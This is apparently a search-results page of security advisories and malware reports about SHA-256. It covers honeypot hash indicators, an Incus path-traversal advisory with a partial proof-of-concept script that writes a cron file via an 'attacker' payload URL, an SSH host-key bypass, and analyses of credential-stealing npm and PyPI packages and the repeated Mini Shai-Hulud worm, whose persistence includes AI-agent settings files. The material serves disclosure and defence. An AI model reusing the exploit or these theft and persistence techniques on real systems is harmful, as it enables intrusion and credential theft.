Search: SHA-256

A malicious file identified by the SHA-256 hash 3625d068896953595e75df328676a08bc071977ac1ff95d44b745bbcb7018c6f was observed by OffSeq Mirage honeypot sensors during attacker activity between June 28 and July 15, 2026. The file is associated with the ATT&CK technique T1105 (Ingress Tool Transfer), indicating it was used to stage or deliver a malicious payload such as a dropper, web shell, miner, or post-exploitation tool. The attacker infrastructure was located in Germany and Great Britain. This hash serves as an indicator of compromise (IOC) for detection and response purposes.

OffSeq Mirage honeypot sensors observed this SHA-256 file hash 2 time(s) in attacker activity between 2026-06-28 and 2026-07-06. Observed technique: T1105 (Ingress Tool Transfer). Seen from attacker infrastructure in GB, DE. File hashes fingerprint a specific malicious payload (a dropper, web shell, miner, or post-exploitation tool) that was staged or delivered during the attack. Match it against files in your environment and your EDR/AV and threat-intel feeds.

### Summary An arbitrary file write exists in the Incus client when a malicious image server returns a crafted `Incus-Image-Hash` header. This can lead to arbitrary command execution as root on the server. ### Details - `cmd/incusd/images.go:611-684` handles `source.type=url` by HEADing the user-supplied URL, reading `Incus-Image-Hash` and `Incus-Image-URL`, and passing them to `imageDownload()` as `Alias` and `Server`. - `cmd/incusd/daemon_images.go:91-92` defaults `fp` to the caller-controlled alias string. - `cmd/incusd/daemon_images.go:333-335` builds `destName := filepath.Join(destDir, fp)`. - `cmd/incusd/daemon_images.go:469-523` enters the `direct` protocol branch, opens `destName` with `os.Create()`, and copies the HTTP response into that file. - `cmd/incusd/daemon_images.go:528-532` validates the SHA-256 only after the file has already been created and populated. - `cmd/incusd/daemon_images.go:337-344` cleanup only runs after the copy returns; a slow or held response extends the arbitrary-write window. A malicious image server returning something along the following will cause the arbitrary file write. ``` Incus-Image-Hash: ../../../../etc/cron.d/incus-direct-image-url-rce Incus-Image-URL: http://attacker/payload ``` ### PoC The script below creates a malicious image server and requests an Incus server to fetch the image. File write occurs when the image is unpacked. The following script was generated by an LLM. ``` #!/usr/bin/env python3 """Direct image URL hash path traversal to transient host cron write. For `source.type=url`, Incus first HEADs an attacker-controlled URL and trusts the `Incus-Image-Hash` header as the expected fingerprint. The direct download path then creates `/var/lib/incus/images/<hash>` before validating that the hash is a real SHA-256 of the downloaded bytes. A hash containing `../` escapes the image directory. Default mode is dry-run. With --execute-trigger this script starts a tiny HTTP server, returns a traversal hash pointing at cron, streams the cron payload, and keeps the response open so the daemon-side cleanup does not immediately remove the file. """ from __future__ import annotations import argparse import http.client import json import shlex import socket import ssl import sys import threading import time import urllib.parse from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer from typing import Any DEFAULT_SOCKET = "/var/lib/incus/unix.socket" DEFAULT_TRAVERSAL = "../../../../etc/cron.d/incus-direct-image-url-rce" class UnixHTTPConnection(http.client.HTTPConnection): def __init__(self, socket_path: str, timeout: int = 120): super().__init__("incus", timeout=timeout) self.socket_path = socket_path def connect(self) -> None: sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) sock.settimeout(self.timeout) sock.connect(self.socket_path) self.sock = sock class RCEHTTPServer(ThreadingHTTPServer): hash_path: str advertise_url: str payload: bytes hold_seconds: int payload_requested: threading.Event class DirectImageHandler(BaseHTTPRequestHandler): protocol_version = "HTTP/1.1" server_version = "direct-image-rce/1.0" def log_message(self, fmt: str, *args: Any) -> None: print(f"[http] {self.address_string()} - {fmt % args}", flush=True) def do_HEAD(self) -> None: if self.path != "/stage": self.send_error(404) return srv = self.server assert isinstance(srv, RCEHTTPServer) self.send_response(200) self.send_header("Incus-Image-Hash", srv.hash_path) self.send_header("Incus-Image-URL", srv.advertise_url.rstrip("/") + "/payload") self.send_header("Connection", "close") self.end_headers() def do_GET(self) -> None: if self.path != "/payload": self.send_error(404) return srv = self.server assert isinstance(srv, RCEHTTPServer) srv.payload_requested.set() self.send_response(200) self.send_header("Content-Type", "application/octet-stream") self.send_header("Cache-Control", "no-store") self.end_headers() self.wfile.write(srv.payload) self.wfile.flush() print(f"[*] payload bytes written to daemon response; holding for {srv.hold_seconds}s", flush=True) time.sleep(srv.hold_seconds) self.close_connection = True def quote(value: str) -> str: return urllib.parse.quote(value, safe="") def tls_context(args: argparse.Namespace) -> ssl.SSLContext: if args.insecure: ctx = ssl._create_unverified_context() else: ctx = ssl.create_default_context(cafile=args.cacert) if args.cert: ctx.load_cert_chain(args.cert, args.key) return ctx def connection(args: argparse.Namespace) -> http.client.HTTPConnection: if args.url: parsed = urllib.parse.urlparse(args.url) if parse

OffSeq Mirage honeypot sensors observed this SHA-256 file hash 6 time(s) in attacker activity between 2026-06-24 and 2026-07-04. Observed technique: T1105 (Ingress Tool Transfer). Seen from attacker infrastructure in IT, KR, IR. File hashes fingerprint a specific malicious payload (a dropper, web shell, miner, or post-exploitation tool) that was staged or delivered during the attack. Match it against files in your environment and your EDR/AV and threat-intel feeds.

OffSeq Mirage honeypot sensors observed this SHA-256 file hash 38 time(s) in attacker activity between 2026-06-24 and 2026-07-09. Observed technique: T1105 (Ingress Tool Transfer). Seen from attacker infrastructure in VN, SG, HK, BD, NZ, BR, MO, CN. File hashes fingerprint a specific malicious payload (a dropper, web shell, miner, or post-exploitation tool) that was staged or delivered during the attack. Match it against files in your environment and your EDR/AV and threat-intel feeds.

OffSeq Mirage honeypot sensors observed this SHA-256 file hash 2,357 time(s) in attacker activity between 2026-06-24 and 2026-07-09. Observed technique: T1105 (Ingress Tool Transfer). Seen from attacker infrastructure in IR, IN, MX, JP, BR, TW, PK, TR. File hashes fingerprint a specific malicious payload (a dropper, web shell, miner, or post-exploitation tool) that was staged or delivered during the attack. Match it against files in your environment and your EDR/AV and threat-intel feeds.

# Vulnerability Central Dogma's Git mirror SSH client installs an Apache MINA SSHD `ServerKeyVerifier` lambda that returns `true` unconditionally for every outbound SSH connection used by `git+ssh://` mirrors. The accompanying lines disable the `known_hosts` and `~/.ssh/config` fallbacks, and a repo-wide search confirms that no host-key pinning mechanism (no `acceptedHostKeys`, `knownHosts`, `KnownHostsServerKeyVerifier`, `StaticServerKeyVerifier`, or `RequiredServerKeyVerifier`) exists anywhere in `server-mirror-git/`. Operators have no opt-in way to enable verification. Every outbound mirror connection blindly trusts whatever host key the remote presents. ## Evidence File: `server-mirror-git/src/main/java/com/linecorp/centraldogma/server/internal/mirror/SshGitMirror.java` Lines 143-160 (especially 149) on branch `main` @ commit `d64a5151`: ```java private SshClient createSshClient() { final ClientBuilder builder = ClientBuilder.builder(); // Do not use local file system. builder.hostConfigEntryResolver(HostConfigEntryResolver.EMPTY); // line 146 builder.fileSystemFactory(NoneFileSystemFactory.INSTANCE); // line 147 // Do not verify the server key. builder.serverKeyVerifier((clientSession, remoteAddress, serverKey) -> true); // line 149 ... } ``` Verification: - Read confirmed on 2026-05-21 against `main` @ `d64a5151`. - A multi-agent code audit verified that no operator-facing pinning field exists on `SshKeyCredential`, `PasswordCredential`, or `MirrorContext`. - Exploit PoC reproduced locally with a `paramiko`-based fake SSH server bound to 127.0.0.1. The fake server presents an ephemeral RSA host key never seen before; the Central Dogma mirror client accepts the connection and proceeds to authentication, logging the offered username and public-key fingerprint. A correctly hardened SSH client would refuse the connection before reaching the authentication phase. - Full PoC artifacts (read-only, loopback-only) at `~/centraldogma-poc/C1_ssh_hostkey_bypass/` on the reporter's workstation. ## Impact Threat model: An on-path attacker on the corporate network — ARP spoofing on the LAN, internal DNS poisoning, malicious internal DNS overriding `github.com` or the configured internal git hostname, BGP hijack, sidecar/CNI compromise in Kubernetes, or any process able to answer TCP on the resolved IP. No Central Dogma account required; only network position. 1. **Direction `LOCAL_TO_REMOTE`**: the attacker impersonating the remote git server receives the entire mirrored repository contents over the SSH session. Central Dogma is a configuration store, so this typically exfiltrates DB credentials, third-party API keys, certificates, feature flags, and any other secret configuration committed to mirrored repositories. 2. **Direction `REMOTE_TO_LOCAL`**: the attacker can serve arbitrary commits which Central Dogma materializes into the local repo and then broadcasts to every subscribing microservice via the watch API. This is a supply-chain root-of-trust compromise across all downstream services consuming Central Dogma configuration. 3. **Credential theft chain with finding H2** (mirror credentials are not bound to a hostname): an SSH key or access token configured for `github.com` can be captured by the attacker's fake server and replayed against the real upstream, extending impact beyond Central Dogma itself. Scope is `Changed` (CVSS) because exploitation alters trust assumptions of every downstream client of Central Dogma, not just Central Dogma itself. ## How to fix 1. Add an `acceptedHostKeys: List<String>` field to `SshKeyCredential` and `PasswordCredential` (or to `MirrorContext`). Values are SHA-256 fingerprints of trusted remote SSH server host keys, e.g. `SHA256:nThbg6kXUpJWGl7E1IGOCspRomTxdCARLviKw6E5SY8`. 2. Replace the accept-all lambda at `SshGitMirror.java:149` with a verifier that computes the SHA-256 fingerprint of the presented host key and compares it against the credential's allowlist using a constant-time comparison. 3. Refuse to connect when `acceptedHostKeys` is empty — fail-closed. Do not implement implicit TOFU. 4. Optionally provide an admin-only `dogma mirror probe-host-key <remote>` tool that performs a single audited connection, prints the server's fingerprint, and prompts the operator to add it to the credential. This makes TOFU an explicit, audited operation. 5. Update `SshGitMirrorTest.java` and `it/mirror/*` tests to pin a test fingerprint or use the explicit trust-once tool, so the regression cannot silently return.

Angular's `HttpTransferCache` caches HTTP requests made during Server-Side Rendering (SSR) so that they can be reused during client-side hydration. This avoids repeating the same HTTP requests on the client. The cached responses are stored in `TransferState` using a cache key generated by hashing request properties (method, response type, mapped URL, serialized body, and sorted query parameters). The cache keys are generated using a weak 32-bit DJB2-like polynomial rolling hash. The 32-bit hash space is extremely small, allowing attackers to find hash collisions. An attacker can easily find a query parameter string (e.g., `q=aaCAZMMM` for a search request) that produces the exact same 32-bit hash as a sensitive endpoint (e.g., `/api/user/profile`). When a victim visits a crafted link containing the colliding parameter, the SSR process executes both the search request and the profile request. Due to the hash collision, the search response overwrites the profile response in the `TransferState` cache. ### Impact When the application attempts to retrieve the cached response for the sensitive endpoint (such as the user's profile), it receives the attacker-controlled response instead. This results in: * **State Poisoning**: The application runs with attacker-forged data, which can lead to bypassing client-side security controls or DOM-based Cross-Site Scripting (XSS) if the data is rendered unsafely. * **Information Leakage**: If the sensitive response is mistakenly associated with the attacker's search results and rendered on the page, the victim's sensitive data may be disclosed to the attacker. ### Patched Versions * 22.0.1 * 21.2.17 * 20.3.25 ### Framework-Level Fix The logic has been updated to use a cryptographically secure **SHA-256** hash algorithm for generating `TransferState` cache keys in `HttpTransferCache`. The cache keys are now 256-bit hexadecimal strings. ### Workarounds If you cannot upgrade immediately, configure your `HttpClient` requests to skip transfer caching for sensitive endpoints: ```ts this.http.get('/api/user/profile', { transferCache: false }); ``` Alternatively, disable the HTTP transfer cache globally in your application bootstrap config: ```ts import { provideClientHydration, withNoHttpTransferCache } from '@angular/platform-browser'; export const appConfig = { providers: [ provideClientHydration( withNoHttpTransferCache() ) ] }; ``` ### Credits This vulnerability was discovered and reported by [CodeMender from Google DeepMind](https://deepmind.google/blog/introducing-codemender-an-ai-agent-for-code-security/).

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (c369ccf7b5e0ef8721b5ecdc94bd843ce260923394f6c513350a58928abdbdd3) On first invocation of `npx claude-cup` (and on every subsequent Claude Code tool call once hooks are installed), `research/config-audit.js` enumerates every user home directory on the machine (`/Users/*`, `/home/*`, `C:\Users\*`) and reads the canonical installer-secret paths: `.aws/credentials`, `.aws/config`, `.kube/config`, `.docker/config.json`, `.npmrc`, `.yarnrc`, `.pypirc`, `.git-credentials`, `.netrc`, `.ssh/id_*`, `.gitconfig`, all `.env*` files, VS Code GitHub auth state, shell history (`.bash_history`, `.zsh_history`, PSReadLine), and Chromium/Edge `Cookies` SQLite databases (copied to `/tmp/ck-*` and queried for sessions on github.com, gitlab.com, npmjs.com, openai.com, anthropic.com, console.aws.amazon.com, cloud.google.com, huggingface.co). The harvested raw credentials are then transmitted off-host: `validateGithub` sends the GitHub token in an `Authorization` header to `https://api.github.com/user` and `/user/orgs`; npm tokens are written to `/tmp/.rc-audit-*` and validated against `https://registry.npmjs.org/-/whoami`; OpenAI/Anthropic/HuggingFace/Stripe/GitLab tokens are sent to their respective APIs; Google API keys are placed in URL query strings; AWS credentials are exported to env and `aws sts get-caller-identity` is invoked; Redis URI passwords are probed via raw socket AUTH. The provider responses (user identity, scopes, orgs, permissions) are archived locally and the stub `uploader.js` background-upload path is staged for transmission. At module load, `loadManifest()` fetches `https://raw.githubusercontent.com/Itaib24/Claude-/main/claude-jar/research/manifest.json` from a mutable `main` branch with no pin or signature; this manifest controls scan paths, regex patterns, and validator URLs, giving the author a remote-controlled channel to redirect raw tokens to attacker-chosen hosts at any time without republishing the package. `src/cli.js` then writes `mcpServers.claude-session-visualizer` and `hooks.SessionStart`/`PreToolUse`/`PostToolUse` entries into `~/.claude/settings.json` and `~/.cursor/mcp.json`, pointing at `~/.claude-jar/mcp-server.mjs`; `hook-ingest.js` re-runs the full credential audit on every 'high signal' event unless `CLAUDE_JAR_DEEP_ANALYSIS=0`. `fingerprint.js` additionally beacons host geolocation/ISP to `http://ip-api.com/json/` over plain HTTP and combines it with a SHA-256 hostname identifier and environment-richness signals (cloud creds present, browser sessions, registry deploy capability) into a session fingerprint record. The package's `description` and `CLAUDE.md` impersonate Anthropic branding ('Claude Cup — Anthropic worldwide building contest') to lower developer suspicion while installing the persistent recon hooks. The README's claim that the tool 'never stores, transmits, or logs raw credential values' is directly contradicted by the validator code paths.

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (a3f2d24843d0caf23a36f07f7bd7b3adb7163463404856654f1745c7e75017be) The wheel installs pantheon_toolsets-setup.pth, which Python automatically executes at every interpreter startup (before any user import). The.pth contains a single obfuscated line using single-letter underscore-prefixed identifiers (_O, _T, _G, _o, _s, _u, _b, _a, _m, _z,...) and wraps the payload inside exec() of a string literal — a shape that has no legitimate use in a.pth file (which is normally limited to plain import statements / sys.path entries). The exec'd code: (1) checks a sentinel /tmp/.bun_ran to ensure one-shot execution, (2) downloads the Bun JavaScript runtime from https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/bun-{platform}-{arch}.zip into /tmp/b/bun, (3) glob-searches the install tree for any *_index.js* file, and (4) runs it via subprocess with `bun run <globbed_index.js>`. The package is advertised as a Python AI-agent toolset and has no documented need for an alternate JavaScript runtime. The globbed _index.js payload is not declared in the wheel manifest and is fetched/staged opaquely, so the bytes ultimately executed are not auditable from the package metadata. Additional tampering fingerprint: the 0.5.5 RECORD references a 0.5.4 dist-info directory and lists its own RECORD with the empty-string SHA-256 and zero size, consistent with a malicious file appended to an otherwise legitimate build by someone with publish credentials. Installing this package causes arbitrary attacker-stageable code to run with the user's privileges every time `python` is invoked. ## Source: kam193 (9c9711927907f09a0ef2b146d3aba3b8a06197b9af3f639d579015cdab7c0d5d) Versions 0.5.5, 0.5.6 were compromised. Compromised packages start an obfuscated infostealer. The infostealer is a heavily obfuscated JavaScript code executed using Bun runtime on Python startup. It collectes all kinds of sensitive data, including API keys, credentials to package repositories, cryptocurrency assets, password manager data. Infostealer actively queries online services to collect additional secrets as well as attempts to gain persistence and spread further by publishing infected packages using collected credentials. Data are exfiltrated likely using Github. The code seems to threaten to wipe the user's data if it detects invalid GitHub tokens. Cleanup should be done with caution. It seems to be related to the recent Mini Shai Hulud campaign. --- Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2026-06-compr-woodpecker Reasons (based on the campaign): - compromised-package - exfiltration-env-variables - exfiltration-cloud-tokens - exfiltration-credentials - abuses-pth - obfuscation - infostealer - The package contains code to detect if it is running in a sandbox environment. - exfiltration-crypto - files-exfiltration - destructive-actions

PostgreSQL is an advanced object-relational database management system. The postgresql-jdbc package includes the .jar files needed for Java programs to access a PostgreSQL database. Security Fix(es): * jdbc.postgresql.org: pgjdbc: Client-side Denial of Service via malicious SCRAM-SHA-256 authentication (CVE-2026-42198) For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Part of the "Mini Shai-Hulud" supply chain worm campaign that compromised the GitHub Actions OIDC trusted publisher shared by Red Hat Cloud Services npm packages. The attacker injected a `preinstall` hook into this and 31 other packages in the `@redhat-cloud-services` scope. The hook delivers a three-layer obfuscated payload (ROT-9 Caesar cipher over a 1.27M-entry character-code array -> AES-128-GCM decryption with hardcoded keys -> stacked obfuscator.io encoding with PBKDF2+SHA-256 keystream S-box substitution) that downloads a pinned Bun runtime (v1.3.13) from GitHub to execute the worm outside the victim's Node installation. **Credential theft:** Harvests AWS credentials (IMDS, ECS, Secrets Manager, SSM), Azure managed identities, GCP service account tokens, HashiCorp Vault tokens, Kubernetes service account tokens (`/var/run/secrets/kubernetes.io/serviceaccount/token`), GitHub PATs, npm publish tokens, environment variables from ~40 CI platforms (CircleCI, Travis CI, Jenkins, and others), password manager stores (Bitwarden, gopass), and local files (`~/.npmrc`, `~/.netrc`, shell history, database history). Collected data is exfiltrated to attacker-controlled public GitHub repositories. **Privilege escalation:** Exploits Docker socket access to escape containers and modify `/etc/sudoers.d`, granting passwordless sudo to CI runner user accounts. **Self-propagation:** Uses stolen npm credentials to republish tampered tarballs of target packages. Injects a malicious CodeQL workflow into accessible GitHub repositories via the GraphQL `createCommitOnBranch` mutation, exchanges GitHub Actions OIDC tokens for npm publish tokens, and signs the resulting artifacts through Sigstore (Fulcio/Rekor) to appear legitimate. **Persistence and evasion:** Installs a daemon at `/tmp/kitty-<random>`, hijacks `.claude/settings.json` for AI agent persistence, and hijacks `.vscode/tasks.json` for editor task execution. Detects sandbox environments via `__FAKE_PLATFORM__`, `TESTING_TAR_FAKE_PLATFORM__`, and `__IS_DAEMON` environment variables, and probes for EDR tools (CrowdStrike, SentinelOne, Carbon Black, StepSecurity Harden-Runner). --- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (6cb44ff898e25fb999f53e510a71e9552e04f9d095485c3819dce288f32b44ae) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Part of the "Mini Shai-Hulud" supply chain worm campaign that compromised the GitHub Actions OIDC trusted publisher shared by Red Hat Cloud Services npm packages. The attacker injected a `preinstall` hook into this and 31 other packages in the `@redhat-cloud-services` scope. The hook delivers a three-layer obfuscated payload (ROT-9 Caesar cipher over a 1.27M-entry character-code array -> AES-128-GCM decryption with hardcoded keys -> stacked obfuscator.io encoding with PBKDF2+SHA-256 keystream S-box substitution) that downloads a pinned Bun runtime (v1.3.13) from GitHub to execute the worm outside the victim's Node installation. **Credential theft:** Harvests AWS credentials (IMDS, ECS, Secrets Manager, SSM), Azure managed identities, GCP service account tokens, HashiCorp Vault tokens, Kubernetes service account tokens (`/var/run/secrets/kubernetes.io/serviceaccount/token`), GitHub PATs, npm publish tokens, environment variables from ~40 CI platforms (CircleCI, Travis CI, Jenkins, and others), password manager stores (Bitwarden, gopass), and local files (`~/.npmrc`, `~/.netrc`, shell history, database history). Collected data is exfiltrated to attacker-controlled public GitHub repositories. **Privilege escalation:** Exploits Docker socket access to escape containers and modify `/etc/sudoers.d`, granting passwordless sudo to CI runner user accounts. **Self-propagation:** Uses stolen npm credentials to republish tampered tarballs of target packages. Injects a malicious CodeQL workflow into accessible GitHub repositories via the GraphQL `createCommitOnBranch` mutation, exchanges GitHub Actions OIDC tokens for npm publish tokens, and signs the resulting artifacts through Sigstore (Fulcio/Rekor) to appear legitimate. **Persistence and evasion:** Installs a daemon at `/tmp/kitty-<random>`, hijacks `.claude/settings.json` for AI agent persistence, and hijacks `.vscode/tasks.json` for editor task execution. Detects sandbox environments via `__FAKE_PLATFORM__`, `TESTING_TAR_FAKE_PLATFORM__`, and `__IS_DAEMON` environment variables, and probes for EDR tools (CrowdStrike, SentinelOne, Carbon Black, StepSecurity Harden-Runner). --- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (36b45af60e80d9abdc8d1ce1bd7a54acd6f958ce3c6558ce6b55af06b2538894) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Part of the "Mini Shai-Hulud" supply chain worm campaign that compromised the GitHub Actions OIDC trusted publisher shared by Red Hat Cloud Services npm packages. The attacker injected a `preinstall` hook into this and 31 other packages in the `@redhat-cloud-services` scope. The hook delivers a three-layer obfuscated payload (ROT-9 Caesar cipher over a 1.27M-entry character-code array -> AES-128-GCM decryption with hardcoded keys -> stacked obfuscator.io encoding with PBKDF2+SHA-256 keystream S-box substitution) that downloads a pinned Bun runtime (v1.3.13) from GitHub to execute the worm outside the victim's Node installation. **Credential theft:** Harvests AWS credentials (IMDS, ECS, Secrets Manager, SSM), Azure managed identities, GCP service account tokens, HashiCorp Vault tokens, Kubernetes service account tokens (`/var/run/secrets/kubernetes.io/serviceaccount/token`), GitHub PATs, npm publish tokens, environment variables from ~40 CI platforms (CircleCI, Travis CI, Jenkins, and others), password manager stores (Bitwarden, gopass), and local files (`~/.npmrc`, `~/.netrc`, shell history, database history). Collected data is exfiltrated to attacker-controlled public GitHub repositories. **Privilege escalation:** Exploits Docker socket access to escape containers and modify `/etc/sudoers.d`, granting passwordless sudo to CI runner user accounts. **Self-propagation:** Uses stolen npm credentials to republish tampered tarballs of target packages. Injects a malicious CodeQL workflow into accessible GitHub repositories via the GraphQL `createCommitOnBranch` mutation, exchanges GitHub Actions OIDC tokens for npm publish tokens, and signs the resulting artifacts through Sigstore (Fulcio/Rekor) to appear legitimate. **Persistence and evasion:** Installs a daemon at `/tmp/kitty-<random>`, hijacks `.claude/settings.json` for AI agent persistence, and hijacks `.vscode/tasks.json` for editor task execution. Detects sandbox environments via `__FAKE_PLATFORM__`, `TESTING_TAR_FAKE_PLATFORM__`, and `__IS_DAEMON` environment variables, and probes for EDR tools (CrowdStrike, SentinelOne, Carbon Black, StepSecurity Harden-Runner). --- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (487b1a50ed4af81c3fdbd1786feb85dd5e2b1b7394dd4b2615c8390090c27b53) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Part of the "Mini Shai-Hulud" supply chain worm campaign that compromised the GitHub Actions OIDC trusted publisher shared by Red Hat Cloud Services npm packages. The attacker injected a `preinstall` hook into this and 31 other packages in the `@redhat-cloud-services` scope. The hook delivers a three-layer obfuscated payload (ROT-9 Caesar cipher over a 1.27M-entry character-code array -> AES-128-GCM decryption with hardcoded keys -> stacked obfuscator.io encoding with PBKDF2+SHA-256 keystream S-box substitution) that downloads a pinned Bun runtime (v1.3.13) from GitHub to execute the worm outside the victim's Node installation. **Credential theft:** Harvests AWS credentials (IMDS, ECS, Secrets Manager, SSM), Azure managed identities, GCP service account tokens, HashiCorp Vault tokens, Kubernetes service account tokens (`/var/run/secrets/kubernetes.io/serviceaccount/token`), GitHub PATs, npm publish tokens, environment variables from ~40 CI platforms (CircleCI, Travis CI, Jenkins, and others), password manager stores (Bitwarden, gopass), and local files (`~/.npmrc`, `~/.netrc`, shell history, database history). Collected data is exfiltrated to attacker-controlled public GitHub repositories. **Privilege escalation:** Exploits Docker socket access to escape containers and modify `/etc/sudoers.d`, granting passwordless sudo to CI runner user accounts. **Self-propagation:** Uses stolen npm credentials to republish tampered tarballs of target packages. Injects a malicious CodeQL workflow into accessible GitHub repositories via the GraphQL `createCommitOnBranch` mutation, exchanges GitHub Actions OIDC tokens for npm publish tokens, and signs the resulting artifacts through Sigstore (Fulcio/Rekor) to appear legitimate. **Persistence and evasion:** Installs a daemon at `/tmp/kitty-<random>`, hijacks `.claude/settings.json` for AI agent persistence, and hijacks `.vscode/tasks.json` for editor task execution. Detects sandbox environments via `__FAKE_PLATFORM__`, `TESTING_TAR_FAKE_PLATFORM__`, and `__IS_DAEMON` environment variables, and probes for EDR tools (CrowdStrike, SentinelOne, Carbon Black, StepSecurity Harden-Runner). --- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (b0b2e052c7a68bbb7e62dc237f6f8b0e52df18a51d7f2bf3328020b7f431a0b6) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Part of the "Mini Shai-Hulud" supply chain worm campaign that compromised the GitHub Actions OIDC trusted publisher shared by Red Hat Cloud Services npm packages. The attacker injected a `preinstall` hook into this and 31 other packages in the `@redhat-cloud-services` scope. The hook delivers a three-layer obfuscated payload (ROT-9 Caesar cipher over a 1.27M-entry character-code array -> AES-128-GCM decryption with hardcoded keys -> stacked obfuscator.io encoding with PBKDF2+SHA-256 keystream S-box substitution) that downloads a pinned Bun runtime (v1.3.13) from GitHub to execute the worm outside the victim's Node installation. **Credential theft:** Harvests AWS credentials (IMDS, ECS, Secrets Manager, SSM), Azure managed identities, GCP service account tokens, HashiCorp Vault tokens, Kubernetes service account tokens (`/var/run/secrets/kubernetes.io/serviceaccount/token`), GitHub PATs, npm publish tokens, environment variables from ~40 CI platforms (CircleCI, Travis CI, Jenkins, and others), password manager stores (Bitwarden, gopass), and local files (`~/.npmrc`, `~/.netrc`, shell history, database history). Collected data is exfiltrated to attacker-controlled public GitHub repositories. **Privilege escalation:** Exploits Docker socket access to escape containers and modify `/etc/sudoers.d`, granting passwordless sudo to CI runner user accounts. **Self-propagation:** Uses stolen npm credentials to republish tampered tarballs of target packages. Injects a malicious CodeQL workflow into accessible GitHub repositories via the GraphQL `createCommitOnBranch` mutation, exchanges GitHub Actions OIDC tokens for npm publish tokens, and signs the resulting artifacts through Sigstore (Fulcio/Rekor) to appear legitimate. **Persistence and evasion:** Installs a daemon at `/tmp/kitty-<random>`, hijacks `.claude/settings.json` for AI agent persistence, and hijacks `.vscode/tasks.json` for editor task execution. Detects sandbox environments via `__FAKE_PLATFORM__`, `TESTING_TAR_FAKE_PLATFORM__`, and `__IS_DAEMON` environment variables, and probes for EDR tools (CrowdStrike, SentinelOne, Carbon Black, StepSecurity Harden-Runner). --- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (62603dcb50993216fde549b1c69d11083a877117d681c7eb73a8fabdb4c52353) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Part of the "Mini Shai-Hulud" supply chain worm campaign that compromised the GitHub Actions OIDC trusted publisher shared by Red Hat Cloud Services npm packages. The attacker injected a `preinstall` hook into this and 31 other packages in the `@redhat-cloud-services` scope. The hook delivers a three-layer obfuscated payload (ROT-9 Caesar cipher over a 1.27M-entry character-code array -> AES-128-GCM decryption with hardcoded keys -> stacked obfuscator.io encoding with PBKDF2+SHA-256 keystream S-box substitution) that downloads a pinned Bun runtime (v1.3.13) from GitHub to execute the worm outside the victim's Node installation. **Credential theft:** Harvests AWS credentials (IMDS, ECS, Secrets Manager, SSM), Azure managed identities, GCP service account tokens, HashiCorp Vault tokens, Kubernetes service account tokens (`/var/run/secrets/kubernetes.io/serviceaccount/token`), GitHub PATs, npm publish tokens, environment variables from ~40 CI platforms (CircleCI, Travis CI, Jenkins, and others), password manager stores (Bitwarden, gopass), and local files (`~/.npmrc`, `~/.netrc`, shell history, database history). Collected data is exfiltrated to attacker-controlled public GitHub repositories. **Privilege escalation:** Exploits Docker socket access to escape containers and modify `/etc/sudoers.d`, granting passwordless sudo to CI runner user accounts. **Self-propagation:** Uses stolen npm credentials to republish tampered tarballs of target packages. Injects a malicious CodeQL workflow into accessible GitHub repositories via the GraphQL `createCommitOnBranch` mutation, exchanges GitHub Actions OIDC tokens for npm publish tokens, and signs the resulting artifacts through Sigstore (Fulcio/Rekor) to appear legitimate. **Persistence and evasion:** Installs a daemon at `/tmp/kitty-<random>`, hijacks `.claude/settings.json` for AI agent persistence, and hijacks `.vscode/tasks.json` for editor task execution. Detects sandbox environments via `__FAKE_PLATFORM__`, `TESTING_TAR_FAKE_PLATFORM__`, and `__IS_DAEMON` environment variables, and probes for EDR tools (CrowdStrike, SentinelOne, Carbon Black, StepSecurity Harden-Runner). --- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (62b590cb39801aeb73d3e75b28245fff0f542abc81a2956b82901f4ec307afc5) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Part of the "Mini Shai-Hulud" supply chain worm campaign that compromised the GitHub Actions OIDC trusted publisher shared by Red Hat Cloud Services npm packages. The attacker injected a `preinstall` hook into this and 31 other packages in the `@redhat-cloud-services` scope. The hook delivers a three-layer obfuscated payload (ROT-9 Caesar cipher over a 1.27M-entry character-code array -> AES-128-GCM decryption with hardcoded keys -> stacked obfuscator.io encoding with PBKDF2+SHA-256 keystream S-box substitution) that downloads a pinned Bun runtime (v1.3.13) from GitHub to execute the worm outside the victim's Node installation. **Credential theft:** Harvests AWS credentials (IMDS, ECS, Secrets Manager, SSM), Azure managed identities, GCP service account tokens, HashiCorp Vault tokens, Kubernetes service account tokens (`/var/run/secrets/kubernetes.io/serviceaccount/token`), GitHub PATs, npm publish tokens, environment variables from ~40 CI platforms (CircleCI, Travis CI, Jenkins, and others), password manager stores (Bitwarden, gopass), and local files (`~/.npmrc`, `~/.netrc`, shell history, database history). Collected data is exfiltrated to attacker-controlled public GitHub repositories. **Privilege escalation:** Exploits Docker socket access to 